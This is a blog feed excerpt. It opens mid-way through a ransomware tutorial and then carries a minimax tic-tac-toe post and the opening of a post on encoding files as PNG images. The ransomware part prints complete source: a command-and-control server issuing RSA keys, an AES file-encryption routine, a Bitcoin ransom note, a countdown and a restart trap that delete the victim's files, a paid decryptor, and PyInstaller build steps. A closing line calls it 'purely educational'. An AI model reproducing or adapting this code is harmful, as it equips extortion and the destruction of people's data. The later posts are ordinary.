        return jsonify({&quot;status&quot;: &quot;error&quot;, &quot;message&quot;: &quot;Transaction already used&quot;})
    
    # Decrypt the AES key
    private_key = read_private_key(&quot;private-key.pem&quot;)
    decryptedKey = rsa_decrypt(encryptedKey, private_key)
    
    # Record the transaction
    db.insert(&quot;transactions&quot;, {
        &quot;id&quot;: transactionId,
        &quot;encryptedKey&quot;: encryptedKey,
        &quot;key&quot;: decryptedKey.decode()
    })
    
    return jsonify({&quot;status&quot;: &quot;success&quot;, &quot;key&quot;: decryptedKey.decode()})

if __name__ == &quot;__main__&quot;:
    server.run(host=&apos;0.0.0.0&apos;, port=9990)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run the server with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 server.py
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Building the Ransomware&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;1. Cryptography Utilities (&lt;code&gt;libs/crypto.py&lt;/code&gt;)&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Util.Padding import pad, unpad
from Crypto import Random
from base64 import b64encode, b64decode
import random

def generate_aes_key(length=32):
    chars = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&amp;amp;*()_+-=[]{}|;&apos;:,./&amp;lt;&amp;gt;?&quot;
    return &apos;&apos;.join(random.choice(chars) for _ in range(length))

def aes_encrypt(data, key):
    data = pad(data, AES.block_size)
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(data))

def aes_decrypt(ciphertext, key):
    ciphertext = b64decode(ciphertext)
    iv = ciphertext[:16]
    cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;2. Ransomware Logic (&lt;code&gt;tarantula.py&lt;/code&gt;)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;After implementing the process utilities, paste this code into &lt;code&gt;process.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import subprocess
import os

def kill_process(process_name):
    &quot;&quot;&quot;Terminates a process by name (Linux-specific).&quot;&quot;&quot;
    _subprocess = subprocess.Popen([&apos;ps&apos;, &apos;-A&apos;], stdout=subprocess.PIPE)
    output, error = _subprocess.communicate()
    for line in output.splitlines():
        if process_name in str(line):
            pid = int(line.split(None, 1)[0])
            os.kill(pid, 9)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;kill_process&lt;/code&gt; function terminates the ransomware process after the victim pays the ransom. Next, configure the server details in &lt;code&gt;server.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server_addr = &quot;192.168.43.17:9990&quot;  # Replace with your server&apos;s IP
public_key_receive = f&quot;http://{server_addr}/api/v1/get_public_key&quot;
payment_check = f&quot;http://{server_addr}/api/v1/payment_check&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Replace &lt;code&gt;server_addr&lt;/code&gt; with your actual server IP. The example IP (192.168.43.17) was specific to my local network and won&apos;t work elsewhere.&lt;/p&gt;
&lt;h3&gt;Ransomware Core Implementation (&lt;code&gt;tarantula.py&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Begin by importing required libraries:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import datetime
import json
from time import sleep
import os
from libs.crypto import format_public_key, generate_aes_key, rsa_encrypt, aes_encrypt, read_file_list
from threading import Thread
import requests
from libs.server import *
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Global Variables&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;end_time = 0  # Deadline for ransom payment
files_to_exclude = [
    &apos;tarantula&apos;, 
    &apos;tarantula-decryptor&apos;, 
    &apos;encrypted-key.tarankey&apos;, 
    &apos;file-list.taranfls&apos;
]
files = os.listdir(&quot;.&quot;)  # Files in current directory
encryptKey = &quot;&quot;  # AES encryption key
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;end_time&lt;/code&gt;: Tracks the payment deadline&lt;/li&gt;
&lt;li&gt;&lt;code&gt;files_to_exclude&lt;/code&gt;: Critical ransomware files (note: &lt;code&gt;.py&lt;/code&gt; extensions are omitted since we&apos;ll compile to executables)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;files&lt;/code&gt;: Target files for encryption (limited to current directory for demonstration)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;encryptKey&lt;/code&gt;: Stores the AES-256 encryption key&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;File Filtering&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# Remove excluded files from target list
for file in files_to_exclude:
    if file in files:
        files.remove(file)

# Handle subdirectories (non-recursive)
for file in files:
    if os.path.isdir(file):
        _files = os.listdir(file)
        for _file in _files:
            files.append(f&quot;{file}/{_file}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Core Functions&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;File List Management&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;def save_files_list():
    &quot;&quot;&quot;Saves encrypted file paths for later decryption.&quot;&quot;&quot;
    with open(&quot;file-list.taranfls&quot;, &quot;w+&quot;) as f:
        f.write(&quot;\n&quot;.join(files))
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Terminal Utilities&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;def change_console_colors():
    &quot;&quot;&quot;Changes terminal colors (Linux only).&quot;&quot;&quot;
    os.system(&quot;setterm -term linux -back white -fore red -clear&quot;)

def clear_console():
    &quot;&quot;&quot;Clears the terminal screen.&quot;&quot;&quot;
    os.system(&quot;clear&quot;)

def justified_message(message: str, limit: int):
    &quot;&quot;&quot;Formats text with line breaks at specified character limits.&quot;&quot;&quot;
    return &quot;\n&quot;.join([message[i:i+limit] for i in range(0, len(message), limit)])
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Server Communication&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;def get_server_public_key():
    &quot;&quot;&quot;Retrieves the RSA public key from the C2 server.&quot;&quot;&quot;
    try:
        response = requests.get(public_key_receive)
        return json.loads(response.text)[&apos;public_key&apos;]
    except:
        return &quot;&quot;  # Fail silently
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;File Operations&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;def delete_files():
    &quot;&quot;&quot;Deletes all encrypted files if ransom isn&apos;t paid.&quot;&quot;&quot;
    target_files = read_file_list() if os.path.exists(&quot;file-list.taranfls&quot;) else files
    for file in target_files:
        try:
            if os.path.exists(file) and os.path.isfile(file):
                os.remove(file)
        except:
            continue
    print(&quot;All files deleted.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Countdown Timer&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;def calculate_diff_time():
    &quot;&quot;&quot;Displays and enforces the payment deadline.&quot;&quot;&quot;
    while datetime.datetime.now() &amp;lt; end_time:
        remaining = end_time - datetime.datetime.now()
        print(f&quot;Remaining time: {remaining}&quot;, end=&quot;\r&quot;)
        sleep(1)
    print(&quot;\nTime is up!&quot;)
    delete_files()
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Encryption Routine&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;def encrypt_files():
    &quot;&quot;&quot;Encrypts all target files using AES-256.&quot;&quot;&quot;
    for file in files:
        if os.path.isfile(file):
            try:
                with open(file, &quot;rb&quot;) as f:
                    encrypted = aes_encrypt(f.read(), encryptKey.encode())
                with open(file, &quot;wb&quot;) as f:
                    f.write(encrypted)
            except:
                continue  # Skip files that can&apos;t be encrypted
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Main Execution&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;def main():
    global encryptKey, end_time
    
    if not os.path.exists(&quot;encrypted-key.tarankey&quot;):
        # Initial infection
        encryptKey = generate_aes_key(32)
        encryptedKey = rsa_encrypt(encryptKey, format_public_key(get_server_public_key()))
        
        with open(&quot;encrypted-key.tarankey&quot;, &quot;w&quot;) as f:
            f.write(encryptedKey.decode())

        save_files_list()
        encrypt_files()

        # Ransom note
        username = os.getlogin()
        banner = r&quot;&quot;&quot;
     /^\ ___ /^\
            //^\(o o)/^\
        /&apos;&amp;lt;^~``~&apos;&apos;~^&amp;gt;`\&quot;&quot;&quot;
        
        message = f&quot;&quot;&quot;
Hi {username}!

Your files have been encrypted with military-grade AES-256. 
The decryption key is securely stored on our servers. 

************ INSTRUCTIONS ************
1. DO NOT delete these critical files:
   - tarantula
   - tarantula-decryptor  
   - file-list.taranfls
   - encrypted-key.tarankey

2. Deletion will make recovery impossible
3. Terminating this program will trigger immediate file deletion
4. To decrypt your files:
   - Pay 0.01 BTC to: 1A1zP1eP5QGefi2DMPTfP5qqFmYvvoPk2n
   - Submit your transaction ID via tarantula-decryptor
5. You have 1 hour to comply
**************************************
&quot;&quot;&quot;
        change_console_colors()
        clear_console()
        print(&quot;**************************************&quot;)
        print(banner)
        print(&quot;**************************************&quot;)
        print(justified_message(message, 64))
        
        # Start countdown
        end_time = datetime.datetime.now() + datetime.timedelta(hours=1)
        Thread(target=calculate_diff_time).start()
    else:
        # Secondary execution failsafe
        change_console_colors()
        clear_console()
        print(&quot;Warning: Program restart detected! File deletion initiated...&quot;)
        delete_files()

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s it! Ransomware is ready :). Now it&apos;s time to code randomware-decryptor.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;3. Decryptor (&lt;code&gt;tarantula-decryptor.py&lt;/code&gt;)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Create a new file named &lt;code&gt;tarantula-decryptor.py&lt;/code&gt; and import the required libraries:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import sys
import json
import requests
from colorama import init, Fore, Back
from libs.server import *
from libs.crypto import read_encrypted_key, read_file_list, aes_decrypt
from libs.process import kill_process

# Initialize colorama for colored terminal output
init()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Progress Visualization&lt;/h3&gt;
&lt;p&gt;Add a function to display decryption progress:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def get_progress_bar(current, total, bar_length=30):
    &quot;&quot;&quot;
    Returns a progress bar string showing decryption status.
    
    Args:
        current: Number of files processed
        total: Total files to process
        bar_length: Visual length of progress bar
        
    Returns:
        Formatted progress bar string (e.g., &quot;[#####-----] (42% decrypted)&quot;)
    &quot;&quot;&quot;
    progress = int(100 * current / total)
    filled = &apos;#&apos; * int(bar_length * current / total)
    empty = &apos;-&apos; * (bar_length - len(filled))
    return f&apos;[{filled}{empty}] ({progress}% decrypted)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Payment Verification&lt;/h3&gt;
&lt;p&gt;Implement the transaction verification flow:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def verify_payment(transaction_id):
    &quot;&quot;&quot;
    Verifies payment with the C2 server and retrieves decryption key.
    
    Args:
        transaction_id: Bitcoin transaction ID from victim
        
    Returns:
        Decryption key if valid, None otherwise
    &quot;&quot;&quot;
    print(f&quot;{Fore.YELLOW}Verifying transaction {transaction_id}...{Fore.RESET}\n&quot;)
    
    payload = {
        &quot;transactionId&quot;: transaction_id,
        &quot;encryptedKey&quot;: read_encrypted_key()
    }
    
    try:
        response = requests.post(
            payment_check,
            data=json.dumps(payload),
            headers={&quot;Content-Type&quot;: &quot;application/json&quot;}
        )
        return json.loads(response.text)
    except Exception as e:
        print(f&quot;{Fore.RED}Connection error: {str(e)}{Fore.RESET}&quot;)
        return {&quot;status&quot;: &quot;error&quot;, &quot;message&quot;: &quot;Server unavailable&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Main Execution Flow&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def main():
    # Get transaction ID from user
    tx_id = input(&quot;Enter your Bitcoin transaction ID: &quot;)
    
    # Verify payment
    result = verify_payment(tx_id)
    
    if result[&apos;status&apos;] != &quot;success&quot;:
        print(f&quot;{Fore.RED}Error: {result[&apos;message&apos;]}{Fore.RESET}&quot;)
        sys.exit(1)
        
    # Payment verified - begin decryption
    decryption_key = result[&apos;key&apos;]
    print(f&quot;{Fore.GREEN}Payment verified! Retrieving decryption key...{Fore.RESET}&quot;)
    print(f&quot;{Fore.BLUE}Decryption Key: {decryption_key}{Fore.RESET}&quot;)
    print(&quot;=&quot;*40)
    
    # Decrypt files
    print(f&quot;{Fore.YELLOW}Starting file decryption...{Fore.RESET}&quot;)
    encrypted_files = read_file_list()
    total_files = len(encrypted_files)
    
    for idx, file_path in enumerate(encrypted_files):
        if os.path.isfile(file_path):
            try:
                with open(file_path, &quot;rb&quot;) as f:
                    encrypted_data = f.read()
                decrypted_data = aes_decrypt(encrypted_data, decryption_key.encode())
                with open(file_path, &quot;wb&quot;) as f:
                    f.write(decrypted_data)
            except Exception as e:
                continue  # Skip files that can&apos;t be decrypted
                
            # Update progress
            print(get_progress_bar(idx+1, total_files), end=&quot;\r&quot;)
    
    # Cleanup
    print(f&quot;\n{Fore.GREEN}Decryption complete!{Fore.RESET}&quot;)
    print(&quot;=&quot;*40)
    print(f&quot;{Fore.YELLOW}Cleaning up...{Fore.RESET}&quot;)
    
    cleanup_files = [
        &apos;encrypted-key.tarankey&apos;,
        &apos;file-list.taranfls&apos;,
        &apos;tarantula&apos;  # Main ransomware executable
    ]
    
    # Terminate ransomware process
    kill_process(&quot;tarantula&quot;)
    
    # Remove residual files
    for file in cleanup_files:
        try:
            os.remove(file)
        except Exception as e:
            print(f&quot;{Fore.RED}Error removing {file}: {str(e)}{Fore.RESET}&quot;)
    
    print(f&quot;{Fore.GREEN}All done! Your files have been restored.{Fore.RESET}&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Compiling the Ransomware&lt;/h2&gt;
&lt;p&gt;Convert the scripts to executables using PyInstaller:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pyinstaller -F tarantula.py
pyinstaller -F tarantula-decryptor.py
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Final Notes&lt;/h2&gt;
&lt;p&gt;This article demonstrates how ransomware operates, from encryption to payment verification. &lt;strong&gt;Writing or deploying ransomware is illegal and punishable by law.&lt;/strong&gt; This guide is purely educational.&lt;/p&gt;
&lt;p&gt;If you have questions, feel free to ask in the comments!&lt;/p&gt;
&lt;p&gt;For the full project, visit the GitHub repository.&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;0xGeekHub/tarantula&quot;}&lt;/p&gt;
</content:encoded></item><item><title>How Much Faster Do You Need to Be to Beat AI in Tic-Tac-Toe?</title><link>https://floppydisk.vercel.app/posts/how-much-faster-you-need-to-be-to-beat-ai/</link><guid isPermaLink="true">https://floppydisk.vercel.app/posts/how-much-faster-you-need-to-be-to-beat-ai/</guid><description>You Human! Can you confront AI?</description><pubDate>Thu, 02 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Almost everyone in the world has played tic-tac-toe at least once. It’s a simple game that requires nothing more than a piece of paper and a pen. Some players are so skilled that they can beat almost anyone. However, even the best players cannot defeat an AI in this game. If you doubt this, &lt;a href=&quot;/previews/xo/index.html&quot;&gt;try playing against this AI first&lt;/a&gt;. If you’re unfamiliar with tic-tac-toe or how to play it, read on.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;The Game&lt;/strong&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tic-tac-toe&lt;/strong&gt; (American English), &lt;strong&gt;noughts and crosses&lt;/strong&gt; (Commonwealth English), or &lt;strong&gt;Xs and Os&lt;/strong&gt; (Irish English) is a paper-and-pencil game for two players who take turns marking spaces in a three-by-three grid with &lt;em&gt;X&lt;/em&gt; or &lt;em&gt;O&lt;/em&gt;. The player who succeeds in placing three of their marks in a horizontal, vertical, or diagonal row wins. It is a solved game, meaning the outcome is always a forced draw if both players play optimally.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tic-tac-toe&quot;&gt;Wikipedia&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;
&amp;lt;img src=&quot;/images/tttai/sample.png&quot; /&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;How Does the AI Work?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;As you might guess, the AI anticipates all your possible moves. There are 9! (read as &quot;nine factorial&quot;) possible ways to fill a tic-tac-toe board, totaling 362,880. However, since players take turns placing X or O, many of these options are redundant (like filling the entire board with X). In reality, the board can be filled in &lt;strong&gt;3^9&lt;/strong&gt; possible states, which equals 19,683. But how does the AI decide where to place its mark to ensure victory? The answer lies in its decision-making algorithm. So, what is this algorithm, and how does it work?&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;The Minimax Algorithm&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;For almost any two-player game where one player’s win means the other’s loss (or a draw is possible), certain AI algorithms can compute the best move to secure a win. These algorithms evaluate all possible opponent responses and score each game state to determine the optimal move. While options like Monte Carlo Tree Search (MCTS) or Alpha-Beta pruning exist, I chose the minimax algorithm for tic-tac-toe because it performs exceptionally well here. Let’s explore how it works.&lt;/p&gt;
&lt;p&gt;Imagine you’re X, and the AI is O. Suppose the game reaches this state:&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;
&amp;lt;img src=&quot;/images/tttai/base.png&quot; /&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;First, we define rules to help the AI score each state. After every move, the AI checks if someone has won. If the AI wins, the state scores +10. If the opponent wins, the state scores -10. A draw results in a score of 0. If the game is still ongoing, the score is calculated based on subsequent possible moves. When the AI makes a decision, it’s called &quot;maximizing&quot;; otherwise, it’s &quot;minimizing.&quot;&lt;/p&gt;
&lt;p&gt;Now, the AI must decide its next move. It identifies four possible options:&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot; style=&quot;display: grid; grid-template-columns: repeat(2, 1fr);&quot;&amp;gt;
&amp;lt;img alt=&quot;Option 1&quot; src=&quot;/images/tttai/option1.png&quot; /&amp;gt;
&amp;lt;img alt=&quot;Option 2&quot; src=&quot;/images/tttai/option2.png&quot; /&amp;gt;
&amp;lt;img alt=&quot;Option 3&quot; src=&quot;/images/tttai/option3.png&quot; /&amp;gt;
&amp;lt;img alt=&quot;Option 4&quot; src=&quot;/images/tttai/option4.png&quot; /&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;In this scenario, the AI (O) is maximizing. Option 4 results in an immediate win for the AI, scoring +10. For the other states, the game continues, and the AI switches to minimizing mode, evaluating the player’s potential moves. Here’s a diagram illustrating the process:&lt;/p&gt;
&lt;p&gt;&amp;lt;div
style={{ cursor: &quot;pointer&quot; }}
onClick={() =&amp;gt; {
const img = document.getElementById(&quot;ai-flow-img&quot;);
if (img.requestFullscreen) {
img.requestFullscreen();
} else if (img.webkitRequestFullscreen) {
img.webkitRequestFullscreen();
} else if (img.msRequestFullscreen) {
img.msRequestFullscreen();
}
}}&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img id=&quot;ai-flow-img&quot; src=&quot;/images/tttai/ai-flow.png&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;div class=&quot;description&quot; style={{ textAlign: &quot;center&quot;, marginTop: &quot;8px&quot; }}&amp;gt;Zoom in to view better (click to fullscreen)&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;As you can see, beating the AI in tic-tac-toe is impossible because it evaluates all possible moves faster than any human. The best you can achieve is a draw. If you want a challenge, try playing a variant like 3D tic-tac-toe (though I can’t guarantee an AI won’t be waiting for you there either).&lt;/p&gt;
&lt;p&gt;Now, to answer the title’s question: There’s no speed at which you can compute moves that would allow you to beat the AI. Even with the processing power of a quantum computer, defeating the AI is impossible. You can only force endless draws. The only way to &quot;win&quot; is by imposing speed constraints—for example, if each players has to move in 0.001 seconds, and you can compute moves in 0.0000000001 seconds while the AI takes 0.1 seconds. In this case, you’d win not by outplaying the AI but by forcing it to time out.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Implementation&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;To implement tic-tac-toe with the minimax AI, use a 3x3 array to track the game state. After each player move, call the AI to determine its move. Here’s the AI class I wrote:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class TTT_AI {
    constructor(debug) {
        this.debug = debug;
    }

    setDebug(debug) {
        this.debug = debug;
    }

    randomEmptyPlace(gameBoard) {
        var emptyPlaces = [];
        for (var i = 0; i &amp;lt; gameBoard.length; i++) {
            for (var j = 0; j &amp;lt; gameBoard[i].length; j++) {
                if (gameBoard[i][j] == &apos;&apos;) {
                    emptyPlaces.push([i, j]);
                }
            }
        }
        if (emptyPlaces.length == 0) {
            return false;
        } else {
            var randomIndex = Math.floor(Math.random() * emptyPlaces.length);
            return emptyPlaces[randomIndex];
        }
    }

    scores = {
        &apos;O&apos;: 10,
        &apos;X&apos;: -10,
        &apos;tie&apos;: 0
    }

    minimax(gameBoard, depth, isMaximizing) {
        let aiGameBoard = gameBoard;
        let result = checkWinner(aiGameBoard);
        if (result !== false) {
            return this.scores[result];
        }

        if (isMaximizing) {
            let bestScore = -Infinity;
            for (let i = 0; i &amp;lt; aiGameBoard.length; i++) {
                for (let j = 0; j &amp;lt; aiGameBoard[i].length; j++) {
                    if (aiGameBoard[i][j] == &apos;&apos;) {
                        aiGameBoard[i][j] = &apos;O&apos;;
                        let score = this.minimax(aiGameBoard, depth + 1, false);
                        aiGameBoard[i][j] = &apos;&apos;;
                        bestScore = Math.max(score, bestScore);
                    }
                }
            }
            return bestScore;
        } else {
            let bestScore = Infinity;
            for (let i = 0; i &amp;lt; aiGameBoard.length; i++) {
                for (let j = 0; j &amp;lt; aiGameBoard[i].length; j++) {
                    if (aiGameBoard[i][j] == &apos;&apos;) {
                        aiGameBoard[i][j] = &apos;X&apos;;
                        let score = this.minimax(aiGameBoard, depth + 1, true);
                        aiGameBoard[i][j] = &apos;&apos;;
                        bestScore = Math.min(score, bestScore);
                    }
                }
            }
            return bestScore;
        }
    }

    pickBestMove(gameBoard) {
        let ai = &apos;O&apos;;
        let bestScore = -Infinity;
        let aiGameBoard = gameBoard;
        var bestMove;
        for (let i = 0; i &amp;lt; aiGameBoard.length; i++) {
            for (let j = 0; j &amp;lt; aiGameBoard[i].length; j++) {
                if (aiGameBoard[i][j] == &apos;&apos;) {
                    aiGameBoard[i][j] = ai;
                    let score = this.minimax(aiGameBoard, 0, false);
                    aiGameBoard[i][j] = &apos;&apos;;
                    if (score &amp;gt; bestScore) {
                        bestScore = score;
                        bestMove = [i, j];
                    }
                }
            }
        }
        return bestMove;
    }

    action(gameBoard) {
        if (this.debug) {
            console.log(&apos;AI is thinking...&apos;);
        }
        let bestMove = this.pickBestMove(gameBoard);
        console.log(bestMove);
        return bestMove;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To use this AI, create an instance and call the &lt;code&gt;action&lt;/code&gt; method, passing the &lt;code&gt;gameBoard&lt;/code&gt; array as an argument:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function oAction() {
    var minimaxMovement = _AI.action(gameBoard);
    gameBoard[minimaxMovement[0]][minimaxMovement[1]] = &apos;O&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&apos;s Github repo containing source code:
::github{repo=&quot;0xDeviI/tic-tac-toe-js&quot;}&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;In this article, I explained how the minimax algorithm works and why it guarantees the AI’s victory in tic-tac-toe. The same algorithm can be applied to other win-lose games like chess. Though, because of the vast amount of possible moves in chess, you may need to use other algorithms, such as alpha-beta pruning, as well.&lt;/p&gt;
</content:encoded></item><item><title>Pixcode: Everything is in the Pixels</title><link>https://floppydisk.vercel.app/posts/pixcode-everything-is-in-the-pixels/</link><guid isPermaLink="true">https://floppydisk.vercel.app/posts/pixcode-everything-is-in-the-pixels/</guid><description>Convert all sorts of digital files to visible images</description><pubDate>Wed, 18 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Have you ever wondered how you could convert any file into an image? Imagine transforming an Excel spreadsheet, a Word document, or even the latest Batman movie into a single image. Sounds intriguing, doesn’t it? If you’re curious about how this works, this article is for you. ✅&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;The Basic Idea&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;A week ago, I was brainstorming how to convert almost anything into a consistent format. Think of it like this: You have an orange, a banana, a peach, and other fruits, and you want to turn all of them into apples. But here’s the catch—this transformation shouldn’t be one-way. You should be able to identify which apple was originally an orange, which one was a banana, and so on, so you can reverse the process and retrieve the original fruits. This was the core idea that led me to develop something fascinating—the very topic you’re reading about now.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;File Format Transformation&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;After playing with the fruit analogy, I decided to apply the same concept to the digital world. Instead of fruits, I focused on file formats. I needed an algorithm to convert any file—ZIP, RAR, DOCX, GIF, MP4, etc.—into a valid PNG image. Why PNG? Because I wanted to visually inspect these files on my screen. Simply renaming a file (like ransomware does) wouldn’t work, as the result wouldn’t be a valid PNG. I needed a method to genuinely transform any file into a viewable PNG while ensuring the process was reversible.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Introducing PixCode&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;I ended up writing a simple Python script that encodes any file into a valid PNG. For example, here’s the result of encoding the &lt;strong&gt;&lt;a href=&quot;/images/blog/floppy-disk-banner.png&quot;&gt;Blog&apos;s banner&lt;/a&gt;&lt;/strong&gt; logo:&lt;/p&gt;
&lt;p&gt;&amp;lt;Image
src=&quot;/images/pixcode/logo.png&quot;
alt=&quot;Photo&quot;
width={1125}
height={1125}
priority
className=&quot;next-image&quot;
/&amp;gt;&lt;/p&gt;
&lt;p&gt;And here’s what happens when you encode a music track, like &lt;strong&gt;&lt;a href=&quot;https://soundcloud.com/nuinha/pyotr-ilyich-tchaikovsky-the&quot;&gt;Tchaikovsky’s Nutcracker Suite&lt;/a&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&amp;lt;Image
src=&quot;/images/pixcode/music.png&quot;
alt=&quot;Photo&quot;
width={1125}
height={1125}
priority
className=&quot;next-image&quot;
/&amp;gt;&lt;/p&gt;
&lt;p&gt;But how does this all work? How can we convert files into pixels and reverse the process? Let’s break it down.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Understanding the Basics: Number Systems and Conversions&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;In computing, every character has an &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/ASCII&quot;&gt;ASCII&lt;/a&gt;&lt;/strong&gt; code. For example, the ASCII code for &apos;A&apos; is 65, and for &apos;a&apos; it’s 97. In Python, you can convert a character to its ASCII code using the &lt;code&gt;ord&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ord(&apos;a&apos;)  # Returns 97
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With a simple loop, you can extract the ASCII codes for an entire string. These values are in &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Decimal&quot;&gt;decimal&lt;/a&gt;&lt;/strong&gt;, but they can also be represented in &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Binary_number&quot;&gt;binary&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Octal&quot;&gt;octal&lt;/a&gt;&lt;/strong&gt;, or &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Hexadecimal&quot;&gt;hexadecimal&lt;/a&gt;&lt;/strong&gt;. For our purposes, hexadecimal is ideal because colors in digital systems are often represented in hex. For instance, the hex code for red is &lt;code&gt;#FF0000&lt;/code&gt;.&lt;/p&gt;
